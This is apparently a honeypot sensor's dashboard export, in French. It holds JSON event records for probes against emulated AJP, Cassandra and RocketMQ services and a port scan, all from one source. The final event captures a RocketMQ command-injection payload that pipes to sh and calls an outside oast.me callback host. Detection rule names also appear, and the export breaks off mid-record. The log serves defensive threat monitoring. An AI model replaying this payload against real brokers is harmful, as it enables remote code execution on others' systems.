"classification_reason": "Type \u00ab mssql_tds \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence_breakdown": {
"waf": 8,
"classification": 56,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 32,
"correlation_boost": 8
},
"service_name": "ajp",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "998c4c91063c53dbcdff933fad5ea02c",
"path_pattern_hash": "285321e27377a1f85e5a231ca6cbffb2"
},
"target_context": {
"dst_port": 8009,
"service": "ajp",
"service_name": "ajp",
"risk_score": 32
},
"payload_preview": "\u00124\u0000\u0001\n",
"request_sample": "\u00124\u0000\u0001\n",
"payload_snippet": "\u00124\u0000\u0001",
"evidence": {
"request_sample": "\u00124\u0000\u0001\n",
"payload_snippet": "\u00124\u0000\u0001",
"classification_reason": "Type \u00ab mssql_tds \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"database_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "3eb15a939c110d3a5019e5526d6a766ed8002832",
"protocol_details": {
"payload_preview": "\u00124\u0000\u0001",
"port": 8009,
"service": "ajp",
"service_label_fr": "AJP"
},
"evidence_snippet": "4",
"attack_vector": "mssql tds \u00b7 via AJP:8009 \u00b7 (sonde \/ probe)",
"target_port_label": "8009 \u00b7 AJP",
"emulator_service": "ajp",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab mssql_tds \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab mssql_tds \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 32\/100",
"confidence_pct": 58,
"confidence_breakdown": {
"waf": 8,
"classification": 56,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 32,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 32,
"risk_label": "Faible",
"service_name": "ajp",
"service_label_fr": "AJP",
"dst_port": 8009,
"protocol_emulated": true,
"tags_summary": [
"pat-0536"
],
"tags_summary_labels_fr": [
"pat-0536"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-ajp",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u00124\u0000\u0001",
"port": 8009,
"service": "ajp",
"service_label_fr": "AJP"
},
"attack_vector": "mssql tds \u00b7 via AJP:8009 \u00b7 (sonde \/ probe)",
"evidence_snippet": "4",
"target_port_label": "8009 \u00b7 AJP",
"emulator_service": "ajp",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "ajp",
"service_banner": "honeypot-ajp",
"service_os": "linux",
"dst_port": "8009"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 7,
"multi_protocol_sample": [
"ajp",
"cassandra",
"http",
"port:10911",
"port:4712",
"redis",
"rocketmq"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"mssql_tds",
"net_mssql_tds"
]
}
|
|
|
TCP |
8009 · AJP
|
ajp
|
ajp
ajp · via AJP:8009 · (sonde / probe)
|
Faible
|
Faible · 0
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
AJP
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
8009
Chemin / cible
—
Pourquoi cette classification : Type « ajp » (signaux protocolaires) · confiance 0%
Confiance classification
8%
Corrélation +8
Risque capteur
Faible
· 0
Confiance : Confiance faible (0 %) — classification prudente
Protocole émulé
1
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a204170616368652f322e342e35370d0a436f6e74656e742d4c656e6774683a20320d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a4f4b",
"emulator_response_len": 82,
"port_inferred_service": true,
"bytes_in": 0,
"payload_entropy": 0,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "ajp",
"app_proto": "ajp",
"asn": 8452,
"country": "EG",
"dst_port": 8009,
"risk_waf": 8,
"risk_classification": 0,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 22,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 1.8,
"risk_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 0
},
"risk_score": 0,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "eff1a5c8361f121463a188e9f7d41a4d2c6f5656",
"event_fingerprint": "fdfe6413350ff03e54754d0ef16a054e66f1168b",
"classification_reason": "Type \u00ab ajp \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"confidence": 0.08,
"classification_confidence": 0.08,
"precision_score": 0,
"precision_signals": [],
"kb_rule_ids": [],
"confidence_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 0,
"risk_score": 0,
"correlation_boost": 8
},
"named_classification_skipped": false,
"service_name": "ajp",
"risk_confidence_factor": 0,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"path_pattern_hash": "9b3661b0d359e9ee5dc4e76d5606a3f1"
},
"target_context": {
"dst_port": 8009,
"service": "ajp",
"service_name": "ajp",
"risk_score": 0
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "9209b3f98ac89ec356affd22a19e20ce339aefac",
"protocol_details": {
"port": 8009,
"service": "ajp",
"service_label_fr": "AJP"
},
"attack_vector": "ajp \u00b7 via AJP:8009 \u00b7 (sonde \/ probe)",
"target_port_label": "8009 \u00b7 AJP",
"emulator_service": "ajp",
"confidence_reason": "Confiance faible (0 %) \u2014 classification prudente",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab ajp \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"classification_reason_label_fr": "Type \u00ab ajp \u00bb (signaux protocolaires) \u00b7 confiance 0%",
"executive_one_liner_fr": "Activit\u00e9 suspecte",
"confidence_pct": 8,
"confidence_breakdown": {
"waf": 8,
"classification": 0,
"behavior": 0,
"geo": 0,
"protocol": 22,
"novelty": 0,
"risk_score": 0,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 0,
"risk_label": "Faible",
"service_name": "ajp",
"service_label_fr": "AJP",
"dst_port": 8009,
"protocol_emulated": true,
"tags_summary": null,
"tags_summary_labels_fr": null,
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-ajp",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"port": 8009,
"service": "ajp",
"service_label_fr": "AJP"
},
"attack_vector": "ajp \u00b7 via AJP:8009 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "8009 \u00b7 AJP",
"emulator_service": "ajp",
"confidence_reason": "Confiance faible (0 %) \u2014 classification prudente",
"confidence_factors_fr": "Confiance 8 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "ajp",
"service_banner": "honeypot-ajp",
"service_os": "linux",
"dst_port": "8009"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 7,
"multi_protocol_sample": [
"ajp",
"cassandra",
"http",
"port:10911",
"port:4712",
"redis",
"rocketmq"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor"
}
|
|
|
TCP |
9042 · CASSANDRA
|
cassandra
|
Protocole natif Cassandra
cassandra native · via CASSANDRA:9042 · (sonde / probe)
|
Élevée
|
Moyen · 45
|
|
Étape
Sonde / probe
Chaîne
Découverte
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
Émulateur
CASSANDRA
WAF
—
Recommandation
Surveiller
Tags
cassandra_emulated
net_cassandra_native
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
9042
Chemin / cible
—
Service
CASSANDRA
Payload
Pourquoi cette classification : Type « cassandra_native » (signaux protocolaires) · confiance 50%
Confiance classification
58%
Corrélation +8
Risque capteur
Moyen
· 45
Confiance : Confiance 50 % — Motif catalogue confirmé
Protocole émulé
1
Signaux
pat-0768
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "840000000200000002",
"emulator_response_len": 9,
"bytes_in": 9,
"payload_entropy": 0.7642045065086203,
"port_category": "registered",
"org": "IDDQD-AS",
"service": "cassandra",
"app_proto": "cassandra",
"asn": 8452,
"country": "EG",
"dst_port": 9042,
"risk_waf": 8,
"risk_classification": 54,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 30,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 4.1,
"risk_breakdown": {
"waf": 8,
"classification": 54,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0
},
"risk_score": 45,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "738186219eff17b3b2fb5cceffafe31f69c94619",
"event_fingerprint": "a0aaefdb49226dd6e2577aeda4227e02b3ddd691",
"classification_confidence": 0.58,
"confidence": 0.58,
"precision_signals": [
"pat-0768"
],
"classification_reason": "Type \u00ab cassandra_native \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence_breakdown": {
"waf": 8,
"classification": 54,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 45,
"correlation_boost": 8
},
"service_name": "cassandra",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "465891c132c1856d9a71c6f4eb849b4e",
"path_pattern_hash": "8cb32c8386aedd3a6f34609a4f02f539"
},
"target_context": {
"dst_port": 9042,
"service": "cassandra",
"service_name": "cassandra",
"risk_score": 45
},
"payload_preview": "\u0005\u0000\u0000\u0000\u0005\u0000\u0000\u0000\u0000",
"request_sample": "\u0005\u0000\u0000\u0000\u0005\u0000\u0000\u0000\u0000",
"payload_snippet": "\u0005\u0000\u0000\u0000\u0005\u0000\u0000\u0000\u0000",
"evidence": {
"request_sample": "\u0005\u0000\u0000\u0000\u0005\u0000\u0000\u0000\u0000",
"payload_snippet": "\u0005\u0000\u0000\u0000\u0005\u0000\u0000\u0000\u0000",
"classification_reason": "Type \u00ab cassandra_native \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"database_scan"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "ba20ca93fd39c3784910011582ba5e6ee0e31dc0",
"protocol_details": {
"payload_preview": "\u0005\u0000\u0000\u0000\u0005\u0000\u0000\u0000\u0000",
"port": 9042,
"service": "cassandra",
"service_label_fr": "CASSANDRA"
},
"attack_vector": "cassandra native \u00b7 via CASSANDRA:9042 \u00b7 (sonde \/ probe)",
"target_port_label": "9042 \u00b7 CASSANDRA",
"emulator_service": "cassandra",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab cassandra_native \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab cassandra_native \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u00b7 risque 45\/100",
"confidence_pct": 58,
"confidence_breakdown": {
"waf": 8,
"classification": 54,
"behavior": 0,
"geo": 0,
"protocol": 30,
"novelty": 0,
"risk_score": 45,
"correlation_boost": 8
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "discovery",
"attack_chain_stage_label_fr": "D\u00e9couverte",
"risk_score": 45,
"risk_label": "Moyen",
"service_name": "cassandra",
"service_label_fr": "CASSANDRA",
"dst_port": 9042,
"protocol_emulated": true,
"tags_summary": [
"pat-0768"
],
"tags_summary_labels_fr": [
"pat-0768"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cassandra",
"correlation_flags": [
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +8",
"protocol_details": {
"payload_preview": "\u0005\u0000\u0000\u0000\u0005\u0000\u0000\u0000\u0000",
"port": 9042,
"service": "cassandra",
"service_label_fr": "CASSANDRA"
},
"attack_vector": "cassandra native \u00b7 via CASSANDRA:9042 \u00b7 (sonde \/ probe)",
"evidence_snippet": null,
"target_port_label": "9042 \u00b7 CASSANDRA",
"emulator_service": "cassandra",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9",
"confidence_factors_fr": "Confiance 58 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +8",
"campaign_hint_fr": null,
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "discovery",
"label_fr": "D\u00e9couverte",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "cassandra",
"service_banner": "honeypot-cassandra",
"service_os": "linux",
"dst_port": "9042"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 6,
"multi_protocol_sample": [
"cassandra",
"http",
"port:10911",
"port:4712",
"redis",
"rocketmq"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"multi_protocol_correlation"
],
"correlation_confidence_boost": 8,
"attack_chain_stage": "discovery",
"matched_patterns": [],
"ban_policy": "advisory_monitor",
"tags_list": [
"cassandra_emulated",
"net_cassandra_native"
]
}
|
|
|
TCP |
4712
|
—
|
Scan de ports
port scan syn · port 4712 · (reconnaissance)
|
Faible
|
Moyen · 42
|
|
Étape
Reconnaissance
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Campagne multi-ports
Multi-protocole corrélé (5 min)
Protocole
WAF
—
Recommandation
Surveiller
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
4712
Chemin / cible
—
Pourquoi cette classification : Type « port_scan_syn » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +14
Risque capteur
Moyen
· 42
Confiance : Confiance élevée (100 %) — signaux convergents
Signaux
MITRE-T1046
SIGMA-net-port-scan
Beh Multi Port 60S
Tactiques MITRE
TA0043
User-Agent
—
Règles WAF
—
Meta JSON brut
{
"bytes_in": 2,
"payload_entropy": 1,
"port_category": "registered",
"org": "IDDQD-AS",
"service": null,
"app_proto": null,
"asn": 8452,
"country": "EG",
"dst_port": 4712,
"risk_waf": 8,
"risk_classification": 64,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 0,
"risk_novelty": 0,
"risk_boost": 0,
"risk_granularity": 0,
"risk_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0
},
"risk_score": 42,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "619c98c7123aefb91e4ee7979f91b5d687c03f03",
"event_fingerprint": "16934580f4905434d03bbcfbde22afbfc035f37a",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 231,
"precision_signals": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"kb_rule_ids": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 14
},
"named_classification_skipped": false,
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "7eb70257593da06f682a3ddda54a9d26",
"path_pattern_hash": "6a708bf69e8680803ad7dadb39e2e4d9"
},
"target_context": {
"dst_port": 4712,
"risk_score": 42
},
"payload_preview": "\r\n",
"request_sample": "\r\n",
"evidence": {
"request_sample": "\r\n",
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%"
},
"attack_stage": "recon",
"mitre_tactics": [
"TA0043"
],
"mitre_techniques": [
"T1046"
],
"mitre": "T1046",
"threat_family": [
"scanner"
],
"recommended_client_action": "monitor",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "8171a4aecdf6831b46fc7c846984fbbd77e7a1b2",
"protocol_details": {
"port": 4712
},
"attack_vector": "port scan syn \u00b7 port 4712 \u00b7 (reconnaissance)",
"target_port_label": "4712",
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"classification_reason_label_fr": "Type \u00ab port_scan_syn \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 42\/100 (Moyen) \u2014 MITRE T1046 \u2014 confiance 100 % \u2014 multi-protocole (5 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 64,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 0,
"risk_score": 42,
"correlation_boost": 14
},
"attack_stage": "recon",
"attack_stage_label": "Reconnaissance",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 42,
"risk_label": "Moyen",
"service_name": null,
"service_label_fr": null,
"dst_port": 4712,
"protocol_emulated": null,
"tags_summary": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"INT-beh-multi-port-60s"
],
"tags_summary_labels_fr": [
"MITRE-T1046",
"SIGMA-net-port-scan",
"Beh Multi Port 60S"
],
"recommended_action": "monitor",
"recommended_action_label": "Surveiller",
"mitre": "T1046",
"mitre_technique": "T1046",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot",
"correlation_flags": [
"campagne_ports",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Campagne multi-ports",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +14",
"protocol_details": {
"port": 4712
},
"attack_vector": "port scan syn \u00b7 port 4712 \u00b7 (reconnaissance)",
"evidence_snippet": null,
"target_port_label": "4712",
"emulator_service": null,
"confidence_reason": "Confiance \u00e9lev\u00e9e (100 %) \u2014 signaux convergents",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 8 \u00b7 Bonus corr\u00e9lation +14",
"campaign_hint_fr": "Campagne multi-ports d\u00e9tect\u00e9e sur une fen\u00eatre courte",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": true,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "generic",
"service_banner": "honeypot",
"service_os": "linux",
"dst_port": "4712"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"port_scan_campaign": true,
"port_scan_distinct_ports": 4,
"port_scan_ports_sample": [
4712,
8009,
9876,
10911
],
"multi_protocol_correlation": true,
"multi_protocol_count": 5,
"multi_protocol_sample": [
"http",
"port:10911",
"port:4712",
"redis",
"rocketmq"
],
"multi_protocol_window_s": 300,
"behavior_alerts": [
"port_scan_campaign",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 14,
"attack_chain_stage": "reconnaissance",
"matched_patterns": [],
"ban_policy": "advisory_monitor"
}
|
|
|
TCP |
10911
|
—
|
Injection de commande
cmd injection · port 10911 · (tentative d'exploit)
|
Faible
|
Moyen · 54
|
|
Étape
Tentative d'exploit
Chaîne
Exploitation
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Multi-protocole corrélé (5 min)
MITRE
T1059
TA0001
TA0002
Protocole
WAF
—
Recommandation
Investiguer
Tags
—
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
|
Méthode
—
Port
10911
Chemin / cible
—
Payload
� `{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1 rocke
Pourquoi cette classification : Type « cmd_injection » (signaux protocolaires) · confiance 100%
Confiance classification
100%
Corrélation +8
Risque capteur
Moyen
· 54
Confiance : Confiance 100 % — Preuve dans le payload · Motif catalogue confirmé
Signaux
pat-0775
pat-0145
pat-0146
pat-0147
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
CRS 932120 pipe chain
CRS 932200
CRS 932205
CRS 932206
LFI Double-dot bypass
Minecraft varint handshake
User-Agent
—
Règles WAF
—
Payload (extrait)
� `{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1
rocke
Requête brute (extrait)
� `{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":395}filterServerNums=1 rocketmqHome=-c $@|sh . echo curl d9c4pedagd2gv8g9dmi0t1se96o7dj5ju.oast.me/////////////;
Meta JSON brut
{
"bytes_in": 213,
"payload_entropy": 5.41297728691897,
"port_category": "registered",
"org": "IDDQD-AS",
"service": null,
"app_proto": null,
"asn": 8452,
"country": "EG",
"dst_port": 10911,
"risk_waf": 8,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 0,
"risk_protocol": 0,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 4.8,
"risk_breakdown": {
"waf": 8,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 15
},
"risk_score": 54,
"tag_count": 0,
"anomaly_count": 0,
"campaign_key": "1590fca6e6bb68c88e99b84ae065a006d1c5929c",
"event_fingerprint": "68e4f7700ddebb32737f0fc3a953b815a1942a43",
"classification_reason": "Type \u00ab cmd_injection \u00bb (signaux protocolaires) \u00b7 confiance 100%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 292,
"precision_signals": [
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147"
],
"kb_rule_ids": [
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147"
],
"matched_patterns": [
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103",
"pat-0554"
],
"matched_pattern_names": [
"CRS 932120 pipe chain",
"CRS 932200",
"CRS 932205",
"CRS 932206",
"LFI Double-dot bypass",
"Minecraft varint handshake"
],
"pattern_ids": [
"pat-0775",
"pat-0145",
"pat-0146",
"pat-0147",
"pat-0103",
"pat-0554"
],
"confidence_breakdown": {
"waf": 8,
"classification": 85,
"behavior": 0,
"geo": 0,
"protocol": 0,
"novelty": 15,
"risk_score": 54,
"correlation_boost": 8
},
"named_classification_skipped": false,
"risk_confidence_factor": 100,
"city": null,
"is_datacenter": false,
"is_tor_hint": false,
"geo": {
"country": "EG",
"asn": 8452,
"org": "IDDQD-AS",
"is_datacenter": false,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "5707cf8cc81dfaba898c1235a1408445",
"path_pattern_hash": "e27829ef3cf3e010f3932a3317a945f0"
},
"target_context": {
"dst_port": 10911,
"risk_score": 54
},
"payload_preview": "\u0000\u0000\u0000\ufffd\u0000\u0000\u0000`{\"code\":25,\"flag\":0,\"language\":\"JAVA\",\"opaque\":0,\"serializeTypeCurrentRPC\":\"JSON\",\"version\":395}filterServerNums=1\nrocke",
